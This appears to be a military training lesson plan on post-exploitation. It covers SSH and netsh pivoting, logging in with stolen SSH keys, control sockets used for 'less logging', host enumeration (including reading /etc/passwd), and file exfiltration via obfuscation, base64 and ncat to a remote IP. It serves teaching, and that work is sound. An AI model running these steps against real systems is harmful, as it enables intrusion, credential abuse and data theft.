Post Exploitation

Terminal Learning Objectives/Learning Domains

Action:
Explain important tasks to perform after exploitation of a target that has given initial access to it’s networks and systems
Condition:
In a training environment, with appropriate graphical training aids, various learning constructs, and peer and instructor feedback
Standard:
Students will be able to explain the Post Exploitation methodology

Learning Domains/Level of Learning:

Congnitive:
Knowledge, Comprehension
Affective:
Receiving, Responding, Valuing

Army General Learning Outcomes:
7,8,14

Safety Requirements:
No major considerations
Risk Assessment Level:
LOW
Environmental Considerations:
NONE
Evaluation:
Check on learning questions

Rationale

There are many important tasks to perform after the exploitation of a target has led to initial access of its network or systems. These tasks are important for both attackers and defenders. Attackers need to move as quickly and quietly as possible. Defenders need to detect the attacker’s presence, detect potential data exfiltration, and prevent attackers from moving freely through the defenders' systems and networks.

Pivoting & Redirection

During the lesson we will review the following topics:


  • Control Sockets

  • Enumeration

  • Exfiltration

SSH Overview

Basic Characteristics


  • Access remote systems using an SSH server as a proxy

  • Securely transfer files

  • Execute commands on a remote system

  • VPN using the SSH protocol as a transport

  • Forwarding the X Window System display to the client system

Linux Targets

Local Port Forward
-L <USER PORT ON LOCAL>:TARGETHOST:TARGETPORT
Remote Port Forward
ssh USER@<PIVOT IP> -R <REMOTE PORT ON PIVOT>:TARGETHOST:TARGETPORT

Windows Targets

Port Proxying
netsh interface portproxy add v4tov4 listenport=<LocalPort> listenaddress=<LocalIP> connectport=<TargetPort> connectaddress=<TargetIP> protocol=tcp
netsh interface portproxy show all
netsh interface portproxy delete v4tov4 listenport=<LocalPort>
netsh interface portproxy reset

SSH Keys

  • SSH keys are asymetric(public/private) key pairs that can be used to authenticate a user to a system in combination with or to replace the use of a password

  • If you are able to find a users private ssh key it can potentially be used to gain access to other systems


Using Stolen SSH Keys

  • Bring private key to your own box

  • On your box:

chmod 600 /home/student/stolenkey
ssh -i /home/student/stolenkey jane@1.2.3.4
ssh as the user who is the original key owner

Control Sockets

Benefits Provided Include:


  • Multiplexing

  • Data exfiltration

  • Less logging

Control Sockets (config)

Two main ways to configure:


Command Line Method
ssh -M -S /tmp/s root@<IP ADDRESS> <TUNNEL COMMANDS -R or -L>

ssh -S /tmp/s x@x
scp -o 'ControlPath=/tmp/s' x@x:<Path>


Configuration File Method (~/.ssh/ssh_config)
HostName *
ControlPath ~/.ssh/controlmasters/%r@%h:%p
ControlMaster auto
ControlPersist 10m

Local Host Enumeration

User Enumeration

  • Why is this important?

  • What does it provide?


Windows
net user
Linux
cat /etc/passwd

Process Enumeration

  • Why is this important?

  • What does it provide?


Windows
tasklist /v
Linux
ps -elf

Service Enumeration

  • Why is this important?

  • What does it provide?


Windows
tasklist /svc
Linux
chkconfig                   # SysV
systemctl --type=service    # SystemD

Network Connection Enumeration

  • Why is this important?

  • What does it provide?


Windows
ipconfig /all
Linux
ifconfig -a      # SysV (deprecated)
ip a             # SystemD

Data Exfiltration

Session Transcript
 ssh <user>@<host> | tee
Obfuscation (Windows)
type <file> | %{$_ -replace 'a','b' -replace 'b','c' -replace 'c','d'} > translated.out
certutil -encode <file> encoded.b64
Obfuscation (Linux)
cat <file> | tr 'a-zA-Z0-9' 'b-zA-Z0-9a' > shifted.txt
cat <file>> | base64
Encrypted Transport
scp <source> <destination>
ncat --ssl <ip> <port> < <file>

Questions?